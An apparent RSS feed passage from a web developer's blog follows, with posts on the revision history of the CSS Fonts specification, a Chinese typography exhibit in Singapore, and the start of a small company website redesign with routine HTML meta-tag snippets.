&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/2009/WD-css3-fonts-20090618/&quot;&gt;18 June 2009&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;br&gt;
I bet a lot happened in the seven years between the last working draft and this one but I don&apos;t know what happened. What we do know is that this version consolidates all that was previously covered in the CSS3 Fonts module and CSS3 Web Fonts module, into one nice meaty specification. There&apos;s also a lovely Typography Background section at the beginning to set up some context for the use cases described later on in the specification. There are illustrative pictures and everything!&lt;/p&gt;
&lt;h2&gt;The age of modular CSS&lt;/h2&gt;
&lt;p&gt;Basically, from here on out, the format of the specifications (at least, to my amateur eyes), seems to have standardised quite well. So whatever comes next is just going to be a list of change logs.&lt;br&gt;
For posterity&apos;s sake.&lt;br&gt;
Oh, don&apos;t give me that look.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2011/WD-css3-fonts-20110324/&quot;&gt;24 March 2011&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Revised definition of permissible unquoted font family names to match latest CSS 2.1 draft&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code class=&quot;highlighter-rouge&quot;&gt;font-kerning&lt;/code&gt; property&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added extensions to &lt;code class=&quot;highlighter-rouge&quot;&gt;font-variant&lt;/code&gt; property for supporting OpenType font features&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code class=&quot;highlighter-rouge&quot;&gt;@font-feature-values&lt;/code&gt; rule for defining font-specific variant selectors&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code class=&quot;highlighter-rouge&quot;&gt;font-language-override&lt;/code&gt; property&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code class=&quot;highlighter-rouge&quot;&gt;font-feature-settings&lt;/code&gt; property for access to low-level OpenType features&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Revised font matching algorithm&lt;/li&gt;
  &lt;li&gt;Added &lt;code class=&quot;highlighter-rouge&quot;&gt;font-synthesis&lt;/code&gt; property&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2011/WD-css3-fonts-20111004/&quot;&gt;4 October 2011&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Made same-origin wording normative and marked it at-risk&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Simplified definition of subscript/superscript variant property&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Trimmed some &lt;code&gt;font-variant&lt;/code&gt; property values and renamed others&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added more examples for various font variant value types&lt;/li&gt;
  &lt;li&gt;Added DOM interface definitions for &lt;code&gt;@font-feature-values&lt;/code&gt; rules&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2012/WD-css3-fonts-20120823/&quot;&gt;23 August 2012&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Based on TPAC resolution, same-origin restriction is normative&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added parameter specifics for using CORS with font loads&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Revised fallback handling of subscript/superscript variants&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Switched to using CSS3 Values and Units hash notation for comma-delimited lists&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Reworked &lt;code&gt;font-family&lt;/code&gt; syntax to be clearer about the use of keywords in unquoted font family names&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Tightened the syntax of &lt;code&gt;font-feature-settings&lt;/code&gt; to only allow four-character tags&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added missing definitions of default values for some properties&lt;/li&gt;
  &lt;li&gt;Reworked description of default features and added &lt;code&gt;none&lt;/code&gt; value for &lt;code&gt;font-variant-ligatures&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2012/WD-css3-fonts-20121211/&quot;&gt;11 December 2012&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Tightened description and fixed errors in description of &lt;code&gt;font-variant-caps&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code&gt;auto&lt;/code&gt; value to &lt;code&gt;font-size-adjust&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added definition of font load events&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Defined explicit steps for font matching grapheme clusters&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added &lt;code&gt;font-stretch&lt;/code&gt; values to the font shorthand&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Created object model section and revised definition of &lt;code&gt;CSSFontFaceRule&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Updated syntax of &lt;code&gt;@font-feature-values&lt;/code&gt; rule based on CSS WG resolution&lt;/li&gt;
  &lt;li&gt;Other light cleaning and dusting&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2013/WD-css3-fonts-20130212/&quot;&gt;12 February 2013&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;loadFont&lt;/code&gt; method takes a dictionary parameter that includes callbacks&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added example of system font names used as normal font family name&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added conformance section&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added CORS cross-origin request algorithm parameters&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added specification of Unicode caseless matching for font family names based on WG resolution&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Include issue of synthetic oblique angle in CJK vertical text runs&lt;/li&gt;
  &lt;li&gt;Minor editorial tweaks hither and thither&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2013/WD-css-fonts-3-20130711/&quot;&gt;11 July 2013&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Last Call Working Draft&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Moved font load events into a separate spec&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Tightened syntax rules for &lt;code&gt;@font-feature-values rules&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Added grammar productions for &lt;code&gt;@font-face&lt;/code&gt; and &lt;code&gt;@font-feature-values&lt;/code&gt; rules&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Revised definition of &lt;code&gt;unicode-range&lt;/code&gt; descriptor&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Detailed font matching of composite faces&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Revised object model interface of &lt;code&gt;CSSFontFeatureValuesRule&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Detailed effect of &lt;code&gt;font-size-adjust&lt;/code&gt; on relative unit sizes&lt;/li&gt;
  &lt;li&gt;Reference the potentially CORS-enabled fetch method defined in HTML5&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/2013/CR-css-fonts-3-20131003/&quot;&gt;3 October 2013&lt;/a&gt; - &lt;strong&gt;CSS Fonts Module Level 3 Candidate Recommendation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;reorder feature precedence such that features implied by other CSS properties override &lt;code&gt;font-variant&lt;/code&gt; settings&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;switched examples to use .woff files&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;revised wording of font fetching algorithm&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;drop &lt;code&gt;auto&lt;/code&gt; value for &lt;code&gt;font-size-adjust&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;clarify effect of &lt;code&gt;font-size-adjust&lt;/code&gt; on &lt;code&gt;line-height&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;allow user agents to synthesize OpenType kern feature&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;add example of ordinals and associated markup&lt;/li&gt;
  &lt;li&gt;minor editorial cleanups&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Let&apos;s talk about Editor&apos;s Drafts&lt;/h2&gt;
&lt;p&gt;According to the guidelines for writing CSS specifications,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Working Groups and Interest Groups may make available “Editor&apos;s drafts”. Editor&apos;s drafts have no official standing whatsoever, and do not necessarily imply consensus of a Working Group or Interest Group, nor are their contents endorsed in any way by W3C.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Regardless, these documents are still interesting to read because they give us a peek into how the specifications are being worked out. There are footnotes and comments and questions wherever clarifications are needed. Personally, I appreciate the transparency of the entire process, as well as the sheer amount of effort it takes to refine a specification to a state where it can be deemed a proper standard.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;For the CSS Fonts Module Level 3, a few changes have been made in the &lt;a href=&quot;https://drafts.csswg.org/css-fonts/&quot;&gt;latest Editor’s Draft&lt;/a&gt; dated 19 January 2016, as of time of writing. So if you’re reading this far in the future, the link probably won’t be dated as such any more.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;add omitted &lt;code&gt;font-variant-position&lt;/code&gt; values to &lt;code&gt;font-variant&lt;/code&gt; shorthand&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;make negative values for &lt;code&gt;font-size-adjust&lt;/code&gt; invalid, along with negative percentage &lt;code&gt;font-size&lt;/code&gt; values&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;remove the requirement that user agents use OS/2 table subscript/superscript metrics&lt;/li&gt;
  &lt;li&gt;minor editorial cleanups&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The CSS Fonts Module Level 4 covers new features (which I am excited about), like font variation properties and colour font support. Again, the &lt;a href=&quot;https://drafts.csswg.org/css-fonts-4/&quot;&gt;Editor&apos;s Draft&lt;/a&gt; I&apos;m referring to at time of writing is dated 10 May 2017, but this will definitely change when you try to access and read it.&lt;/p&gt;
&lt;h3&gt;Font variation properties&lt;/h3&gt;
&lt;p&gt;Font variation properties address the CSS properties that deal with variable fonts, which were announced at the &lt;a href=&quot;https://www.youtube.com/watch?v=6kizDePhcFU&quot;&gt;ATypl conference in Warsaw&lt;/a&gt; on 14 September, 2016 to much fanfare (at least amongst those of us who are typophiles). Basically, it is a single font file that can perform interpolation to cover various weights. This behaviour is defined &lt;a href=&quot;https://www.microsoft.com/en-us/Typography/OpenTypeSpecification.aspx&quot;&gt;version 1.8 of the OpenType font format specification&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Colour fonts&lt;/h3&gt;
&lt;p&gt;Not much has been written about CSS colour fonts at the moment, and I suppose its because colour fonts are relatively new (with regards to CSS, not in general, because they&apos;ve been around forever) but this is what I gleaned from the document.&lt;/p&gt;
&lt;p&gt;We get a &lt;code&gt;font-palette&lt;/code&gt; property that allows us to pick the palette of the colour font we&apos;re using, which brings us to the &lt;code&gt;@font-palette-values&lt;/code&gt; rule. This rule allows us to define a colour palette and associate it with a specific font. This is the example I pulled from the document:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@font-palette-values Augusta {
  font-family: Handover Sans;
  base-palette: 3;
  1: rgb(43, 12, 9);
  3: var(--highlight);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As with the &lt;code&gt;@font-face&lt;/code&gt; rule, there are a number of font descriptors you can use in the &lt;code&gt;@font-palette-values&lt;/code&gt; rule as well, like &lt;code&gt;font-family&lt;/code&gt;, &lt;code&gt;base-palette&lt;/code&gt;, &lt;code&gt;&amp;lt;integer&amp;gt;&lt;/code&gt; and &lt;code&gt;font-presentation&lt;/code&gt;. I need more time to dig in and wrap my head around this so just some superficial coverage for now, but did I mention I&apos;m excited? I&apos;m so excited! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;wine glass&quot;&gt;🍷&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;confetti ball&quot;&gt;🎊&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So that&apos;s it for this inaugural edition of “Chasing the Spec”, that it, if I decide to continue and make it a series. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt; Maybe. Depends on my mood. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smirking face&quot;&gt;😏&lt;/span&gt; We&apos;ll see. Life happens. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/Style/2011/CSS-process.en.html&quot;&gt;The CSS Standardization Process&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://alistapart.com/blog/post/variable-fonts-for-responsive-design&quot;&gt;Variable Fonts for Responsive Design&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/@tiro/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369&quot;&gt;Introducing OpenType Variable Fonts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.typekit.com/2016/09/14/variable-fonts-a-new-kind-of-font-for-flexible-design/&quot;&gt;Variable fonts, a new kind of font for flexible design&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>A mini Chinese typography exhibit</title><link>https://chenhuijing.com/blog/a-mini-chinese-typography-exhibit/</link><guid isPermaLink="true">https://chenhuijing.com/blog/a-mini-chinese-typography-exhibit/</guid><description>So I haven&apos;t exactly been in the pink of health lately, and have been more or less confined to being at home until probably June. And me being restless me,…</description><pubDate>Tue, 09 May 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So I haven&apos;t exactly been in the pink of health lately, and have been more or less confined to being at home until probably June. And me being restless me, will still attempt to wander the city when I get the chance (okay I&apos;m misbehaving, but I try to be good the rest of the time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;woman bowing&quot;&gt;🙇‍♀️&lt;/span&gt;). But anyway, I went to the &lt;a href=&quot;https://www.nlb.gov.sg/&quot;&gt;National Library&lt;/a&gt; today! Other than another haul of books, I came across this lovely mini exhibition on Chinese typography.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;I said it was mini...&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/mini-exhibit.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/mini-exhibit@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I was, naturally, drawn to the bits about Chinese writing and printing. Here, they cover some materials for Chinese writing, like the ink stone, paper and brushes.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Basics of Chinese writing&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/creating.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/creating@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;What is an inkstone?&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/mini-exhibit/inkstone.jpg&quot;
      srcset=&quot;/images/posts/mini-exhibit/inkstone@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;This is an inkstone&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/mini-exhibit/inkstone2.jpg&quot;
      srcset=&quot;/images/posts/mini-exhibit/inkstone2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;What is a brush?&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/mini-exhibit/brush2.jpg&quot;
      srcset=&quot;/images/posts/mini-exhibit/brush2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;This is a brush&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/mini-exhibit/brush.jpg&quot;
      srcset=&quot;/images/posts/mini-exhibit/brush@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Chinese invented paper, FYI&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/paper.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/paper@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Seals were the pre-cursor to printing, and they&apos;re actually pretty universal, considering they were used in Ancient Greece and Rome, Mesopotamia, and of course, Ancient China. Continued to be used during the Middle Ages, and last I checked, my company needed to have a seal and a stamp. How&apos;s that for timeless?&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Chinese seals look the best IMO&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/carving.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/carving@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;And my favourite bit on moveable type! Learnt so much about it this past month, what with all the research for 2 talks I will be giving in June. Excited to be part of &lt;a href=&quot;https://webconf.asia/&quot;&gt;Webconf.Asia&lt;/a&gt; and &lt;a href=&quot;https://pitercss.com/&quot;&gt;pitercss conference&lt;/a&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Casting types&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/casting.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/casting@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Selecting types for typesetting&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/selection.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/selection@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;There&apos;s also some other bits on type specimens in the wild, and uses in everyday life.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;The type of temples&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/mini-exhibit/temples.jpg&quot;
    srcset=&quot;/images/posts/mini-exhibit/temples@2x.jpg 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Anyhoo, if you happen to be in Singapore, and are remotely interested in Chinese typography at all, drop by the National Library and check it out. Then go downstairs (or upstairs to the massive reference section) and wish you could live there (okay, that&apos;s just me) among the glorious selection of books.&lt;/p&gt;
&lt;p&gt;P.S. Across the street, there is also an AWESOME exhibition on the art of Assassin&apos;s Creed, which runs till Thursday, 25 May 2017 at the &lt;a href=&quot;https://www.designsingapore.org/national-design-centre&quot;&gt;National Design Centre&lt;/a&gt;. It&apos;s officially called &lt;em&gt;The Art Behind The Game – The Ubisoft Experience&lt;/em&gt; and it&apos;s practically a fine art exhibition because the artwork is so so so good! Here&apos;s a sneak peek (seriously, my phone camera does not do the artwork any justice).&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;This is a gorgeous ship&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/mini-exhibit/ac.jpg&quot; srcset=&quot;/images/posts/mini-exhibit/ac@2x.jpg 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;And here&apos;s another gorgeous ship&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/mini-exhibit/ac2.jpg&quot;
      srcset=&quot;/images/posts/mini-exhibit/ac2@2x.jpg 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;Locations&lt;/strong&gt;
&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;National Library of Singapore (&lt;a href=&quot;https://www.google.com.sg/maps/place/National+Library/@1.2975884,103.8543081,15z/data=!4m2!3m1!1s0x0:0xf23dddaa8432afc5?sa=X&amp;amp;ved=0ahUKEwiKqN6k-uLTAhWMN48KHY7IBccQ_BIIgQEwDQ&quot;&gt;map&lt;/a&gt;), 100 Victoria St, Singapore 188064&lt;/li&gt;
  &lt;li&gt;National Design Centre (&lt;a href=&quot;https://www.google.com.sg/maps/place/National+Design+Centre/@1.2985119,103.853512,15z/data=!4m2!3m1!1s0x0:0xebd6bcfaf5795f03?sa=X&amp;amp;ved=0ahUKEwjWuJ6i-uLTAhWKsI8KHShbDMsQ_BIIggEwEA&quot;&gt;map&lt;/a&gt;), 111 Middle Rd, Singapore 188969&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The one in a minimalist hacker chic</title><link>https://chenhuijing.com/blog/the-one-in-a-minimalist-hacker-chic/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-in-a-minimalist-hacker-chic/</guid><description>I have an Argentinian friend. Not an acquaintance. A proper good friend. This is highly improbable, at least in my mind. Argentina is about 15,690km away from…</description><pubDate>Thu, 30 Mar 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I have an Argentinian friend. Not an acquaintance. A proper good friend. This is highly improbable, at least in my mind. Argentina is about 15,690km away from Singapore. In a different continent, across a large ocean, with a different culture. But by a random twist of fate, and an honest mistake, I gained a friend from halfway around the world, who is also a developer.&lt;/p&gt;
&lt;p&gt;So my friend runs &lt;a href=&quot;https://web.archive.org/web/20150506141454/http://www.epyphite.com/&quot;&gt;Epyphite&lt;/a&gt;, a technology company focused on Data Science and Machine Learning. He&apos;s a great software engineer, plus a really good guy, and he doesn&apos;t like front-end web development very much. Which works out just fine because I love front-end web development. Long story short, he slapped together a website for Epyphite, because it&apos;s necessary to have a web presence, then got on with aspects of his work that he found more palatable.&lt;/p&gt;
&lt;p&gt;One fine day, I found myself with a spare afternoon, and decided to do something about the Epyphite website, which he was more than happy to let me run riot on. He just mentioned that the guys liked the existing colour scheme. Great, with that in mind, let&apos;s see what could be done in one afternoon. &lt;em&gt;Spoiler alert: &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pointing down&quot;&gt;👇&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/epyphite/epyphite-640.jpg&quot;
  srcset=&quot;/images/posts/epyphite/epyphite-480.jpg 480w, /images/posts/epyphite/epyphite-640.jpg 640w, /images/posts/epyphite/epyphite-960.jpg 960w, /images/posts/epyphite/epyphite-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Epyphite&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Phase 1: Evaluating the present&lt;/h2&gt;
&lt;p&gt;This wasn&apos;t a complicated site. It was a brochure site to provide information about the company, what they did and their contact details. The site used Node.js on the backend and EJS as the templating language. My plan was to go in and get out with minimal disruption to the server and back-end setup. So there was no rewrite of any back-end architecture, no touching of the &lt;code&gt;server.js&lt;/code&gt; file, none of that.&lt;/p&gt;
&lt;p&gt;The way the site was setup, it was pretty easy to see where the relevant files and folders were. For the HTML, the EJS files were in the &lt;code&gt;Views&lt;/code&gt; folder and for the theme, the CSS, fonts, images etc. were in the &lt;code&gt;Static&lt;/code&gt; folder. After clicking through every link on the site, I ascertained that there were only 2 pages, the home page and the about page. No JavaScript was necessary for this particular site either.&lt;/p&gt;
&lt;p&gt;I wasn&apos;t joking when I said the site was slapped together. There were a lot of files and libraries that were not relevant in the slightest. The site itself didn&apos;t look &lt;em&gt;that&lt;/em&gt; bad, but it definitely could be better.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/epyphite/before-640.png&quot;
  srcset=&quot;/images/posts/epyphite/before-480.png 480w, /images/posts/epyphite/before-640.png 640w, /images/posts/epyphite/before-960.png 960w, /images/posts/epyphite/before-1280.png 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Before the revamp&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; wipe everything from those 2 folders and rewrite from scratch.&lt;/p&gt;
&lt;h2&gt;Phase 2: Spring-cleaning&lt;/h2&gt;
&lt;p&gt;As I was planning to rewrite everything from scratch, this wasn&apos;t as complicated as it could have been. If you&apos;re not familiar with EJS, it&apos;s pretty much HTML but with the ability to use includes for shared components across pages. After purging all the irrelevant files, I was left with 3 includes, &lt;code&gt;head.ejs&lt;/code&gt;, &lt;code&gt;header.ejs&lt;/code&gt;, &lt;code&gt;footer.ejs&lt;/code&gt; and 2 pages, &lt;code&gt;index.ejs&lt;/code&gt; and &lt;code&gt;about.ejs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The first thing was to sort out the meta data of the site in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element. With reference to &lt;a href=&quot;https://github.com/joshbuchea/HEAD#recommended-minimum&quot;&gt;Josh Buchea&apos;s recommended minimum&lt;/a&gt; of what should go into the HEAD element, these are what I put in there. I added the description and author meta tags as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot; /&amp;gt;
&amp;lt;meta
  name=&amp;quot;description&amp;quot;
  content=&amp;quot;Epyphite creates solutions that leverage the latest techniques in Artificial Intelligence to help businesses solve complex problems.&amp;quot;
/&amp;gt;
&amp;lt;meta name=&amp;quot;author&amp;quot; content=&amp;quot;Epyphite&amp;quot; /&amp;gt;

&amp;lt;title&amp;gt;Epyphite - Without roots. Everywhere.&amp;lt;/title&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I am also a stickler for sites having a favicon. I mean, I know it&apos;s not mandatory, but I just very much prefer a site has one. Given that redesigning the logo is totally out of scope for this endeavour, I copped out by using the letter E enclosed in a circle. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;So the next bit of stuff is relevant to favicons. I like using &lt;a href=&quot;http://realfavicongenerator.net/&quot;&gt;RealFaviconGenerator&lt;/a&gt; for my favicon generation needs.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;link rel=&amp;quot;apple-touch-icon&amp;quot; sizes=&amp;quot;180x180&amp;quot; href=&amp;quot;/favicons/apple-touch-icon.png&amp;quot; /&amp;gt;
&amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/favicons/favicon-32x32.png&amp;quot; sizes=&amp;quot;32x32&amp;quot; /&amp;gt;
